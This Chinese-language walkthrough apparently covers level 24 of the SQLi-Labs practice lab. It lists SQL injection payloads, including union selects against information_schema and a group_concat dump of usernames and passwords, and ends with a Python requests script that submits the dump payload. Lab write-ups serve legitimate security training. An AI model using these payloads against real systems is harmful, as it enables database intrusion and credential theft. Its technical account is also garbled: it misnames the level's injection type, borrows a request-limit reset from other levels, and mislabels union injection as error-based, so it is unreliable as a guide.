sqlilabs靶场24
时间: 2025-07-16 21:16:52 浏览: 13
SQLi-Labs 靶场的第24关(Challenge 24)是一个与 SQL 注入相关的挑战,目标是通过注入点获取数据库中的敏感信息。这一关卡设计用于测试用户对 **二次查询注入**(Double Query Injection)的理解和应用能力。
### 演示环境
通常,该靶场部署在本地服务器上,例如:
```
http://192.168.x.x/sqli/Less-24/
```
此关卡要求攻击者利用 SQL 注入漏洞,在有限的请求次数内完成数据提取,因为一旦超过限制,数据库会重置[^2]。
---
### 解题思路
#### 1. 判断注入点
首先,尝试输入一个合法的用户名并观察页面响应。例如:
```text
username=admin&password=123456
```
随后尝试构造恶意输入以触发 SQL 错误或异常行为,例如:
```text
username=admin'&password=123456
```
如果页面返回错误信息,则说明存在潜在的 SQL 注入漏洞。
---
#### 2. 使用报错注入获取字段数
由于此关卡不支持盲注(Blind Injection),因此可以尝试使用报错注入来快速获取信息。例如:
```text
username=admin' order by 3--+
```
逐步增加 `order by` 的字段数量,直到页面出现错误,从而判断当前查询涉及的字段数。
---
#### 3. 获取数据库结构
一旦确定字段数为 `n`,可以使用联合查询注入来提取数据库元信息。例如,获取当前数据库名和版本:
```text
username=admin' union select database(), version()--+
```
接着可以进一步获取表名、列名等信息:
```text
username=admin' union select table_name, table_schema from information_schema.tables where table_schema=database()--+
```
---
#### 4. 提取目标数据
假设目标表名为 `users`,可以构造如下语句获取用户名和密码:
```text
username=admin' union select username, password from users--+
```
若页面只显示一行结果,可结合 `group_concat()` 函数一次性获取所有记录:
```text
username=admin' union select group_concat(username), group_concat(password) from users--+
```
---
### 技术要点总结
- 本关的关键在于识别 **报错注入** 和 **联合查询注入** 的结合使用。
- 因为数据库会在一定请求后重置,所以必须高效地一次提取尽可能多的数据。
- 注意过滤机制,如特殊字符被转义时需绕过(如使用编码方式)。
---
### 示例代码(Python 脚本)
以下是一个简单的 Python 脚本,用于自动化提交 payload 并提取数据:
```python
import requests
url = "http://192.168.x.x/sqli/Less-24/"
payload = {
"username": "admin' union select group_concat(username), group_concat(password) from users--+",
"password": "123"
}
response = requests.post(url, data=payload)
print(response.text)
```
---
阅读全文
相关推荐



















